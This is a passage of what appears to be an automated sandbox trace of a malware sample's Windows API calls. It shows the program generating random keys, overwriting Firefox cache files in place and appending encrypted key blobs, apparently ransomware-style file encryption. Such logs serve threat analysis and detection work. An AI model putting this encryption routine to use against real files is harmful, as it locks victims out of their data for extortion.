nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0185.955] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef7 [0185.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.955] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e37c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e37c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.956] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.956] CloseHandle (hObject=0x1b80) returned 1 [0185.982] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3f00 | out: pbBuffer=0x30e3f00) returned 1 [0185.982] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0185.982] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9A4363F96438C03AB4679CB6CFA209E8F12F1A01", dwFileAttributes=0x80) returned 1 [0185.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4320 [0185.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.982] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x4828, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x4828, lpOverlapped=0x0) returned 1 [0185.988] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-18472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.988] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x4828, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4828, lpOverlapped=0x0) returned 1 [0185.988] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4828 [0185.988] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.989] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.989] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.989] CloseHandle (hObject=0x1b80) returned 1 [0185.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e37c8 | out: pbBuffer=0x30e37c8) returned 1 [0185.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\996FF69B28B46AA08240D5B033726E178EA73F53", dwFileAttributes=0x80) returned 1 [0185.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4e78 [0185.991] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.992] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xc08, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xc08, lpOverlapped=0x0) returned 1 [0186.001] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.001] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4498*, nNumberOfBytesToWrite=0xc08, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4498*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc08, lpOverlapped=0x0) returned 1 [0186.002] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc08 [0186.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.002] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e37c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e37c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.003] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.003] CloseHandle (hObject=0x1b80) returned 1 [0186.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4b60 | out: pbBuffer=0x30e4b60) returned 1 [0186.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9917C38977805DE1F459727D3ACF78348778CA3E", dwFileAttributes=0x80) returned 1 [0186.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3f00 [0186.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.005] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef1, lpOverlapped=0x0) returned 1 [0186.012] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3825, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.013] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, nNumberOfBytesToWrite=0xef1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef1, lpOverlapped=0x0) returned 1 [0186.013] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef1 [0186.013] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.013] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4b60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4b60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.013] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4b60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4b60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.014] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.014] CloseHandle (hObject=0x1b80) returned 1 [0186.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3df8 | out: pbBuffer=0x30e3df8) returned 1 [0186.016] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.016] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9896A5D2450454BDC89F970D5491BF2A03985EF9", dwFileAttributes=0x80) returned 1 [0186.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e38d0 [0186.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.016] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xc4d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xc4d, lpOverlapped=0x0) returned 1 [0186.018] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.018] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f44e0*, nNumberOfBytesToWrite=0xc4d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f44e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc4d, lpOverlapped=0x0) returned 1 [0186.018] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc4d [0186.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3df8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3df8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.018] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3df8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3df8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.019] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.019] CloseHandle (hObject=0x1b80) returned 1 [0186.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4530 | out: pbBuffer=0x30e4530) returned 1 [0186.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.021] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\983323BAC4331D7678CD31F0D107D74556191F4C", dwFileAttributes=0x80) returned 1 [0186.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e37c8 [0186.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.021] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1b74, lpOverlapped=0x0) returned 1 [0186.034] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.034] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5408*, nNumberOfBytesToWrite=0x1b74, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1b74, lpOverlapped=0x0) returned 1 [0186.034] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1b74 [0186.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.035] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.035] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.041] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.041] CloseHandle (hObject=0x1b80) returned 1 [0186.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e36c0 | out: pbBuffer=0x30e36c0) returned 1 [0186.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.043] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9827DBE1B051DF16647CCB9DBA9C2BA261150A6C", dwFileAttributes=0x80) returned 1 [0186.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0186.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.043] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0186.044] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.044] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0186.045] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef7 [0186.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.045] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e36c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e36c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.045] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e36c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e36c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.046] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.046] CloseHandle (hObject=0x1b80) returned 1 [0186.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4d70 | out: pbBuffer=0x30e4d70) returned 1 [0186.049] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.049] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\97D6DA803F25F7C3E7089BE62CE64B8DA8E01FB2", dwFileAttributes=0x80) returned 1 [0186.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e39d8 [0186.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.050] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe3d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe3d, lpOverlapped=0x0) returned 1 [0186.051] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.051] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46d0*, nNumberOfBytesToWrite=0xe3d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe3d, lpOverlapped=0x0) returned 1 [0186.052] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe3d [0186.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.052] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4d70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.052] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4d70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4d70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.052] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.052] CloseHandle (hObject=0x1b80) returned 1 [0186.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e32a0 | out: pbBuffer=0x30e32a0) returned 1 [0186.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\979C819D6C7504D17BB5A3F483ADA0C1FF961E27", dwFileAttributes=0x80) returned 1 [0186.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3cf0 [0186.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.054] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0186.067] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.067] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4690*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4690*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0186.067] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfc [0186.067] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.068] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e32a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e32a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.068] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e32a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e32a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.068] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.068] CloseHandle (hObject=0x1b80) returned 1 [0186.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3198 | out: pbBuffer=0x30e3198) returned 1 [0186.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.070] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96D1160442CDA797188E30E830373B3E7F7E44D4", dwFileAttributes=0x80) returned 1 [0186.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e36c0 [0186.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.070] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe9a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe9a, lpOverlapped=0x0) returned 1 [0186.075] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.075] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4730*, nNumberOfBytesToWrite=0xe9a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4730*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe9a, lpOverlapped=0x0) returned 1 [0186.075] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe9a [0186.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.076] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3198*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.076] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.076] CloseHandle (hObject=0x1b80) returned 1 [0186.078] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e37c8 | out: pbBuffer=0x30e37c8) returned 1 [0186.078] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.078] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\966A39DB849E895760A253D43B68E29A7533C445", dwFileAttributes=0x80) returned 1 [0186.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e36c0 [0186.078] RtlAllocateHeap (HeapHandle=0x520000, 